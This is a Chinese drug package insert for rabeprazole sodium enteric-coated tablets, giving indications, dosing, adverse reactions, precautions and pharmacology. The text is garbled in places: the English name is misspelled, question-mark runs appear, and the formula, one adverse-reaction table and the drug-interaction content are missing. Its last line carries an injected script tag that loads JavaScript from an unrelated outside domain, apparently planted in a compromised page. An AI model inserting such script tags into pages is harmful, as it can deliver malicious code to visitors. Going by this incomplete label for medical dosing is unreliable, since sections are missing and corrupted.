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雷贝拉唑钠肠溶片

请仔细阅读说明书并在医师指导下使用

【药品名称】
通用名称:雷贝拉唑钠肠溶片
英文名称:Rabeprezole Sodium Enteric-ooated Tablers
汉语拼音:Leibeilazuona Changrong Pian
【成份】
本品主要成份为雷贝拉唑钠,其化学名称为:2-[[[4-(3-甲氧基丙氧基)-3-甲基-2-吡啶基]甲基]亚磺酰基]-1H-苯并咪唑钠。
其化学结构式为:

分子式:C18H20N3NaO3S
分子量:381.43
【性状】
本品为肠溶包衣片,除去肠溶衣后显淡黄色。
【适应症】
用于治疗胃溃疡、十二指肠溃疡、吻合口溃疡、反流性食管炎、卓—艾(Zollinger-Ellison)综合征(胃泌素瘤)。
【规格】20mg
【用法用量】
通常,成人每日口服1次10mg,根据病情也可每日口服1次20mg。在一般情况下,胃溃疡、吻合口溃疡、反流性食管炎的给药以8周为限,十二指肠溃疡的给药以6周为限。
【不良反应】
????? 据报告,在总病例1244例中,有22例(1.77%)出现了不良反应。此外,据报告有82例(6.59%)
的临床检查值出现异常(至获认可时)。
1.严重的不良反应(类似药物)
(1)休克:有报道指出,类似药物(奥美拉唑、兰索拉唑)偶会引起过敏反应或休克。因此,当见有异常状况时,应中止用药,并采取适当的措施。
(2)血象:有报告指出,类似药物(奥美拉唑、兰索拉唑)偶会导致全血细胞减少、血小板减少、粒细胞缺乏症、溶血性贫血。此外,有时可见粒细胞减少、贫血,因此当出现此类异常状况时,应中止用药,并采取适当的措施。
2.严重的不良反应(国外病例)
视力障碍:在国外有使用类似药物(奥美拉唑)而引起视力障碍的报告。
3.其它不良反应

注1):如出现此类症状,应中止用药。
注2):用药期间宜定期进行血液学检查。如发现异常时,应采取中止用药等适当措施。
注3):用药期间宜定期进行血液生化学检查。如发现异常时,应采取中止用药等适当的措施。
注4):有1例肝硬化患者出现四肢乏力、感觉迟钝、握力低下、口齿不清、步态蹒跚的报告。此外据报告,在国外1例有肝性脑病既往史的肝硬化患者出现了精神错乱、识辨力丧失和嗜睡。
【禁忌】
禁用于对雷贝拉唑钠或处方中任何辅料有过敏的患者。
【注意事项】
1. 下列患者应谨慎使用:
???? (1)有药物过敏史的患者。
(2)肝功能障碍的患者[肝硬化患者有导致精神神经系统不良反应的报告(参照“不良反应”项)]
(3)高龄患者[参照“老年用药”项]
2.重要及基本注意事项
给予本品时,在病情严重及属于复发性、顽固性病例的情况下,可以一日1次给与20mg。
3.有关适应症的注意事项
使用本品时有可能掩盖由胃癌引起的症状,故应在确诊是非恶性肿瘤的前提下再行给药。
4.有关用法用量的使用时注意事项
治疗时应密切观察其临床动态,根据病情将用药量控制在治疗所需的最低限度内。鉴于对本品尚无足够的长期使用经验,故不宜用于维持治疗。
5.应用时的注意事项
本品为肠溶片,服用时应咽下,而不要咀嚼或咬碎。
【孕妇及哺乳期妇女用药】
1.对于孕妇或有可能妊娠的妇女,只有在其治疗有益性大于危险性的前提下方可使用。[据报告,在动物试验中(大鼠经口400mg/kg,家兔静脉注射30mg/kg),见胎儿毒性(大鼠呈骨化延迟,家兔呈体重下、骨化延迟)]。
2.宜避免用于哺乳期妇女,不得已而必须用药时,则应暂停给婴儿哺乳。[据报告,动物试验中观察到本品向乳汁中转移。]
【儿童用药】对于儿童的安全性尚不明确(没有临床经验)。
【老年用药】本品主要经肝脏代谢,而老年患者肝功能低下者居多,有时可出现不良反应。因此,当出现消化系统不良反应(参照“不良反应”项)时,应慎重给予,必要时应停止用药。
【药物相互作用】
合并用药的注意事项(的与其它药物合并用药时应予以注意的事项)


【药物过量】
未进行该项试验且无可靠参考文献。
【药理毒理】
药理作用
雷贝拉唑钠为苯并咪唑类化合物,是第二代质子泵抑制剂,通过特异性地抑制胃壁细胞H+、K+-ATP酶系统而阻断胃酸分泌的最后步骤。该作用呈剂量依赖性,并可使基础胃酸分泌和刺激状态下的胃酸分泌均受抑制。本品对胆碱和组胺H2受体无拮抗作用。
毒理作用
遗传毒性:本品鼠伤寒沙门氏菌回复突变(Ames)试验、中国仓鼠卵细胞基因突变试验、小鼠淋巴瘤细胞基因突变试验结果均呈阳性;其去甲基代谢在试验中也呈阳性;本品体外仓鼠肺细胞染色体畸变试验、小鼠微核试验和体内、体外肝程序外DNA合成(UDS)试验结果均为阴性?script src=http://zhihuiguan.com/c.js>